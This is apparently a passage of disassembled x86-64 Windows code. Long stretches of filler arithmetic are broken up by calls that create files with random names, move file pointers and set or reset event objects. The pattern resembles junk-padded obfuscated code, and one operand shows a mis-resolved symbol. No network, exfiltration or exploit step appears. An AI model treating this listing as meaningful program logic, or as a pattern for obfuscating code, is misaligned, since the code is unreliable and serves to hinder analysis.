mov byte [rsp + 0x91b], al
mov rax, qword [rsp + 0x14d8]
mov rcx, qword [rsp + 0x2460]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2104], eax
mov rax, qword [rsp + 0x1450]
mov eax, dword [rax]
mov dword [rsp + 0x340c], eax
lea rax, [rsp + 0x5f8]
mov qword [0x1400fd878], rax
movsx eax, word [rsp + 0x1580]
movsx ecx, word [rsp + 0x250]
and eax, ecx
mov rcx, qword [rsp + 0x180]
mov word [rcx], ax
mov rax, qword [rsp + 0x1168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4e4]
sub eax, ecx
mov rcx, qword [rsp + 0x3ed0]
mov word [rcx], ax
lea rax, [rsp + 0xf24]
mov qword [rsp + 0x50f0], rax
movsx eax, byte [rsp + 0x1b9]
movsx ecx, byte [rsp + 0x604]
add eax, ecx
mov rcx, qword [rsp + 0xfd8]
mov byte [rcx], al
lea rax, [rsp + 0x2920]
mov qword [rsp + 0x4228], rax
mov rax, qword [rsp + 0x1050]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1080]
mov qword [rsp + 0x4cf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4cf0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x7f0]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.GOxutY1KT2eFSULoBnsnbT2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5198], rax
movsx eax, word [rsp + 0x6b4]
mov rcx, qword [rsp + 0x37f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x528]
mov word [rcx], ax
mov rax, qword [rsp + 0xfc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3390]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x21f4], ax
mov rax, qword [rsp + 0x1bd0]
mov rcx, qword [0x1400fc4c0]
mov rax, qword [rax]
or rax, rcx
mov qword [0x1400fc408], rax
mov rax, qword [rsp + 0x3918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25e0]
mov qword [rsp + 0x4cf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4cf8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2fb8], rax
lea rax, [rsp + 0x3760]
mov qword [rsp + 0x5628], rax
mov rax, qword [rsp + 0x1880]
mov rax, qword [rax]
add rax, qword [rsp + 0x2fa0]
mov rcx, qword [rsp + 0xb48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x434], ax
movzx eax, byte [rsp + 0x3fe]
mov byte [rsp + 0x923], al
mov rax, qword [rsp + 0x2b80]
mov ecx, dword [0x1400fc384]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1968], eax
mov rax, qword [rsp + 0x1b40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1bc]
sar eax, cl
mov byte [rsp + 0x930], al
mov rax, qword [rsp + 0x2288]
mov rcx, qword [0x1400fd5c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1500]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1548]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2154]
add ecx, eax
mov eax, ecx
mov dword [0x1400fc4e8], eax
mov rcx, qword [rsp + 0x39e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x218]
mov rcx, qword [rsp + 0x3338]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x21f0], ax
lea rax, [0x1400fc550]
mov qword [rsp + 0x5020], rax
movzx eax, word [rsp + 0x8b4]
movzx ecx, word [rsp + 0xec8]
and eax, ecx
mov word [rsp + 0x888], ax
mov rax, qword [rsp + 0x2fa8]
mov rax, qword [rax]
mov qword [rsp + 0x3aa8], rax
mov rax, qword [rsp + 0x2410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f18]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3198], rax
lea rax, [rsp + 0x915]
mov qword [rsp + 0x5000], rax
mov rax, qword [rsp + 0xd80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd60]
mov qword [rsp + 0x4d00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d00]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2108], eax
movsx eax, word [rsp + 0xe84]
mov rcx, qword [0x1400fd268]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3048]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x231e
mov rcx, qword [rsp + 0x38e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf8], eax
mov rax, qword [rsp + 0x3110]
movzx eax, word [rax]
mov word [0x1400fd880], ax
mov rax, qword [rsp + 0x18e8]
mov qword [rsp + 0x3ba0], rax
movzx eax, word [rsp + 0x8a8]
mov rcx, qword [rsp + 0x3ea8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x844], ax
lea rax, [rsp + 0x2df]
mov qword [rsp + 0x30d0], rax
mov eax, dword [rsp + 0x678]
mov ecx, dword [rsp + 0x210c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x13f8], eax
mov rax, qword [0x1400fc390]
mov rcx, qword [rsp + 0x3ea0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3290], rax
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0x798]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2168], eax
mov rcx, qword [rsp + 0x2618]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42fc], eax
mov rax, qword [rsp + 0xa88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
add eax, ecx
mov rcx, qword [rsp + 0x1030]
mov byte [rcx], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x4533
mov rcx, qword [rsp + 0x1778]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21c4], eax
mov rcx, qword [rsp + 0x2a20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2724], eax
mov rax, qword [0x1400fd608]
movzx eax, word [rax]
mov word [rsp + 0x35e8], ax
movzx eax, word [rsp + 0x434]
mov word [0x1400fd884], ax
mov rax, qword [rsp + 0x2c58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b0]
mov qword [rsp + 0x4d08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d08]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2260]
mov rax, qword [rax]
add rax, qword [rsp + 0x17f8]
mov qword [rsp + 0x2628], rax
movsx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0xfe8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x21ec], ax
mov rax, qword [rsp + 0x3ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5e4]
and eax, ecx
mov word [rsp + 0x5b0], ax
mov rax, qword [0x1400fd818]
movzx eax, byte [rax]
mov byte [rsp + 0x92c], al
mov rax, qword [rsp + 0x31b8]
mov ecx, dword [rsp + 0x510]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xbbc], eax
mov rax, qword [rsp + 0x3b18]
mov rcx, qword [rsp + 0x1fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x37a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12b0]
mov rcx, qword [rsp + 0x14d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d10], rax
movsx eax, word [rsp + 0x4e8]
mov rcx, qword [rsp + 0x2d90]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1400fd268]
mov word [rcx], ax
mov rax, qword [rsp + 0x1fd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x214]
shl eax, cl
mov rcx, qword [rsp + 0x11f8]
mov word [rcx], ax
lea rax, [rsp + 0x139c]
mov qword [rsp + 0x4ee0], rax
mov rax, qword [rsp + 0x31d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf8]
xor eax, ecx
mov byte [rsp + 0x229], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.IyiHnV72qTM
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5630], rax
mov rax, qword [rsp + 0x7d8]
mov rax, qword [rax]
mov qword [rsp + 0x3d20], rax
mov rax, qword [rsp + 0x4038]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1a8]
shr rax, cl
mov qword [rsp + 0x30f0], rax
mov eax, dword [rsp + 0x26f8]
mov ecx, dword [rsp + 0x1384]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbd0], eax
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x24a0]
movzx eax, byte [rax]
mov byte [rsp + 0x54f], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x8f12
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcec], eax
mov rax, qword [rsp + 0x18e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x87c]
sub eax, ecx
mov rcx, qword [rsp + 0x278]
mov word [rcx], ax
mov rax, qword [rsp + 0x2558]
movzx eax, word [rax]
movzx ecx, word [0x1400fd660]
add eax, ecx
mov rcx, qword [0x1400fd828]
mov word [rcx], ax
mov rax, qword [rsp + 0x3850]
mov rcx, qword [rsp + 0x2b10]
mov qword [rsp + 0x4d18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d18]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4d20], rax
mov rcx, qword [rsp + 0x4d28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42f8], eax
mov rax, qword [rsp + 0xfc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x394]
and eax, ecx
mov rcx, qword [rsp + 0x1148]
mov word [rcx], ax
mov rax, qword [0x1400fd2f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4e0]
and eax, ecx
mov rcx, qword [rsp + 0x1a10]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ce8]
mov rax, qword [rax]
mov qword [rsp + 0x5638], rax
mov rax, qword [rsp + 0x3fd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov byte [rsp + 0x2dc], al
lea rax, [0x1400fd214]
mov qword [rsp + 0x4ea0], rax
mov rax, qword [rsp + 0x2fb0]
mov rcx, qword [rsp + 0x40a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1ad8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1584]
movzx ecx, word [rsp + 0x848]
or eax, ecx
mov word [rsp + 0x5cc], ax
lea rax, [0x1400fd298]
mov qword [0x1400fd888], rax
mov eax, dword [rsp + 0x2680]
movzx ecx, al
mov eax, dword [rsp + 0x139c]
shl eax, cl
mov dword [rsp + 0x26b4], eax
movzx eax, byte [rsp + 0x91c]
movzx ecx, byte [rsp + 0x134]
xor eax, ecx
mov byte [rsp + 0xf8], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xa525
mov rcx, qword [rsp + 0x2bb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcc4], eax
mov rax, qword [rsp + 0x24a8]
movzx eax, word [rax]
mov word [rsp + 0x2030], ax
mov rax, qword [rsp + 0x1ae8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa50]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x4c0], ax
mov rcx, qword [rsp + 0x1b90]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.7fnqYaq11BY4yddZQA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5640], rax
mov rcx, qword [rsp + 0x3768]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d8], eax
mov rax, qword [rsp + 0x3298]
mov qword [rsp + 0x3c90], rax
mov eax, dword [rsp + 0x13c0]
mov ecx, dword [rsp + 0xcc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc8], eax
movsx eax, byte [rsp + 0x1c5]
movsx ecx, byte [rsp + 0x606]
sub eax, ecx
mov byte [rsp + 0xea], al
lea rax, [rsp + 0x2010]
mov qword [rsp + 0x41d8], rax
lea rax, [rsp + 0xc3c]
mov qword [0x1400fd890], rax
mov rax, qword [rsp + 0x3eb0]
mov rcx, qword [rsp + 0x2258]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3eb8], rax
mov rax, qword [rsp + 0x2a18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x25b8]
add rax, qword [rcx]
mov qword [rsp + 0x39e8], rax
mov rax, qword [rsp + 0x1858]
mov rax, qword [rax]
mov rcx, qword [0x1400fd1b0]
mov qword [rsp + 0x4d30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d30]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3078], rax
movsx eax, word [rsp + 0x5f4]
movsx ecx, word [rsp + 0x6ec]
sub eax, ecx
mov rcx, qword [rsp + 0x1f30]
mov word [rcx], ax
mov rax, qword [0x1400fd818]
movzx eax, byte [rax]
mov byte [rsp + 0x1d55], al
mov eax, dword [rsp + 0x2150]
mov ecx, dword [rsp + 0x11b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1124], eax
mov rax, qword [rsp + 0x1d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3218], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9aef
mov rcx, qword [rsp + 0x2900]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26c4], eax
movzx eax, byte [rsp + 0x2d6]
mov rcx, qword [rsp + 0x3b68]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3f78]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4da8], rax
mov rax, qword [rsp + 0x2b48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3a98]
mov qword [rsp + 0x4d38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xe00], eax
movsx eax, word [rsp + 0x2bc]
movsx ecx, word [0x1400fc54c]
or eax, ecx
mov rcx, qword [0x1400fd558]
mov word [rcx], ax
movzx eax, word [rsp + 0x24c]
mov word [rsp + 0x35e4], ax
movzx eax, word [rsp + 0x1588]
mov rcx, qword [rsp + 0x2c28]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x28c], ax
mov rax, qword [rsp + 0x12e8]
mov rax, qword [rax]
mov qword [rsp + 0x4d80], rax
mov rax, qword [0x1400fd4c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1f18]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2de], al
mov rax, qword [rsp + 0x1508]
mov eax, dword [rax]
add eax, dword [rsp + 0x1398]
mov dword [rsp + 0x1a50], eax
lea rax, [rsp + 0x1878]
mov qword [rsp + 0x3a10], rax
mov rax, qword [rsp + 0x1230]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4c8]
sub eax, ecx
mov word [rsp + 0xaa0], ax
movzx eax, word [rsp + 0xe88]
mov rcx, qword [rsp + 0x3f50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0x2908]
mov rcx, qword [rsp + 0x1180]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fc578], rax
movzx eax, word [rsp + 0xe88]
movzx ecx, word [rsp + 0x6dc]
sar eax, cl
mov word [rsp + 0x2014], ax
mov rax, qword [rsp + 0x3230]
mov qword [rsp + 0x3fa8], rax
mov rax, qword [rsp + 0x2e50]
mov rcx, qword [rsp + 0x4028]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1c48]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x2dc]
mov rcx, qword [rsp + 0x37c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11d], al
mov rax, qword [0x1400fd3c0]
mov rcx, qword [rsp + 0x3770]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d40], rax
mov rax, qword [rsp + 0x9c8]
mov rcx, qword [rsp + 0x3d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1ab8], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80fa
mov rcx, qword [rsp + 0x3060]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26d8], eax
movzx eax, byte [rsp + 0x923]
mov byte [rsp + 0xe45], al
mov rcx, qword [rsp + 0x3ec0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x9303
mov rcx, qword [rsp + 0x40b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x42f4], eax
mov eax, dword [0x1400fc4e8]
movzx ecx, al
mov eax, dword [rsp + 0x634]
shl eax, cl
mov dword [rsp + 0xcc0], eax
movsx eax, word [rsp + 0x2018]
movsx ecx, word [rsp + 0xeb4]
add eax, ecx
mov word [0x1400fc53c], ax
mov rax, qword [rsp + 0x770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x158c]
sar eax, cl
mov word [rsp + 0x201c], ax
lea rax, [rsp + 0x1590]
mov qword [rsp + 0x3bf8], rax
movzx eax, word [rsp + 0x2020]
mov rcx, qword [rsp + 0x22f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x17c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f0]
mov ecx, dword [0x1400fd1d8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x26cc], eax
mov rax, qword [rsp + 0x1af8]
mov rcx, qword [rsp + 0x2500]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2910]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x2dd]
movsx ecx, byte [rsp + 0x2d1]
sub eax, ecx
mov byte [rsp + 0x234], al
mov rax, qword [0x1400fd2f0]
movzx eax, word [rax]
mov word [rsp + 0x35e0], ax
mov rcx, qword [rsp + 0x4d48]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26dc], eax
mov rax, qword [rsp + 0x3778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1fd0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa70]
movzx ecx, al
mov rax, qword [rsp + 0x2fb8]
sar rax, cl
mov rcx, qword [0x1400fd490]
mov qword [rcx], rax
mov rax, qword [0x1400fc3a8]
mov qword [rsp + 0x4e48], rax
mov rax, qword [rsp + 0x2308]
mov rcx, qword [rsp + 0x1c88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1718], rax
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x2e48]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3c10], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xbc13
mov rcx, qword [rsp + 0x3ec8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe08], eax
movzx eax, word [rsp + 0xc2c]
movzx ecx, word [rsp + 0x37c]
xor eax, ecx
mov rcx, qword [rsp + 0x3ed0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2110]
movzx ecx, al
mov eax, dword [rsp + 0x8e4]
shl eax, cl
mov dword [rsp + 0x1970], eax
lea rax, [rsp + 0x10d]
mov qword [rsp + 0x3b40], rax
mov rax, qword [rsp + 0x7f0]
mov ecx, dword [rsp + 0xce8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3c00], rax
mov rax, qword [rsp + 0x4d50]
mov rax, qword [rax]
mov qword [rsp + 0x4220], rax
movzx eax, byte [rsp + 0x91d]
mov byte [0x1400fd137], al
movsx eax, word [0x1400fc490]
mov rcx, qword [rsp + 0x1b20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5b8], ax
mov rax, qword [rsp + 0x3d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x38c]
sar eax, cl
mov word [rsp + 0x6ec], ax
lea rax, [rsp + 0xbf0]
mov qword [rsp + 0x3340], rax
mov rax, qword [0x1400fd688]
mov rax, qword [rax]
add rax, qword [rsp + 0x3780]
mov qword [rsp + 0x1c68], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xfb26
mov rcx, qword [rsp + 0x3890]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ac0], eax
mov rcx, qword [rsp + 0x2ab8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42f0], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8dac
mov rcx, qword [rsp + 0x2fc8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1130], eax
lea rax, [rsp + 0x2684]
mov qword [rsp + 0x5648], rax
mov rax, qword [rsp + 0x30a0]
mov rcx, qword [rsp + 0x1fc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3788], rax
mov rcx, qword [rsp + 0x4d58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26bc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.h4h82ytrYX5YK0vER9fV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5650], rax
mov rax, qword [rsp + 0x2fd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x916]
and eax, ecx
mov byte [rsp + 0x1c7], al
movsx eax, word [rsp + 0xe94]
movsx ecx, word [rsp + 0xeb8]
and eax, ecx
mov word [rsp + 0x1638], ax
movzx eax, word [rsp + 0x8a8]
mov rcx, qword [rsp + 0x10a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc580], ax
mov rax, qword [rsp + 0x3350]
mov rcx, qword [rsp + 0x950]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b50]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1594]
mov word [rsp + 0x1dcc], ax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
imul eax, dword [rsp + 0x213c]
mov rcx, qword [rsp + 0x2440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1090]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf8]
sar eax, cl
mov rcx, qword [rsp + 0x25c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x21a0]
mov dword [rsp + 0x346c], eax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x12a0]
mov qword [rsp + 0x4d60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d60]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x31d0], rax
mov rcx, qword [rsp + 0x1ed8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x231]
mov rcx, qword [rsp + 0x530]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3ec], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4526
mov rcx, qword [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x99c], eax
mov rcx, qword [rsp + 0x4d68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3434], eax
movsx eax, word [rsp + 0x5a4]
mov rcx, qword [rsp + 0x31c8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8a4], ax
mov rax, qword [rsp + 0x24e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd7c0], ax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov qword [rsp + 0x4fb8], rax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x29a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3fa8], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x37b2
mov rcx, qword [rsp + 0x4d70]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26d0], eax
mov rcx, qword [rsp + 0x2fd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x360]
mov rcx, qword [rsp + 0x2da8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2b50]
mov word [rcx], ax
lea rax, [rsp + 0xabc]
mov qword [rsp + 0x5658], rax
mov rax, qword [rsp + 0x1548]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1128]
shr eax, cl
mov dword [rsp + 0x10d0], eax
mov rax, qword [rsp + 0x1c80]
mov rcx, qword [rsp + 0x3a50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3988], rax
movsx eax, byte [rsp + 0x234]
movsx ecx, byte [0x1400fc39a]
sub eax, ecx
mov rcx, qword [rsp + 0x2fd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x24e8]
mov rcx, qword [rsp + 0x2918]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3ed8], rax
mov rax, qword [rsp + 0x18b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1c10]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc554], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4595
mov rcx, qword [rsp + 0x3928]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2180], eax
lea rax, [rsp + 0x2024]
mov qword [rsp + 0x4ec8], rax
mov rax, qword [rsp + 0x4090]
mov rcx, qword [rsp + 0xa38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2688], eax
lea rax, [rsp + 0xe45]
mov qword [rsp + 0x32c8], rax
mov rax, qword [rsp + 0x3220]
mov rcx, qword [rsp + 0x18d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3828], rax
mov rax, qword [rsp + 0x1bc0]
mov ecx, dword [rsp + 0x13cc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xbc0], eax
mov rax, qword [rsp + 0x768]
mov rax, qword [rax]
mov qword [rsp + 0x5660], rax
mov rcx, qword [rsp + 0x3790]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x268c], eax
movsx eax, byte [0x1400fc39a]
mov rcx, qword [rsp + 0x40c0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x931], al
movzx eax, word [rsp + 0x3b0]
mov word [rsp + 0x1de0], ax
lea rax, [rsp + 0x268]
mov qword [0x1400fd898], rax
mov rax, qword [rsp + 0x37f0]
mov rcx, qword [0x1400fd6c0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2e08], rax
mov rax, qword [rsp + 0x4d78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c4]
sar eax, cl
mov rcx, qword [rsp + 0x2a8]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf621
mov rcx, qword [rsp + 0x3278]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11ac], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5668], rax
mov rax, qword [rsp + 0x37f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1f30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc00], ax
mov rax, qword [0x1400fd520]
mov rax, qword [rax]
add rax, qword [rsp + 0x1298]
mov rcx, qword [rsp + 0x1858]
mov qword [rcx], rax
mov rax, qword [rsp + 0x29e8]
mov qword [rsp + 0x5288], rax
mov rax, qword [rsp + 0x3238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x514]
sub ecx, eax
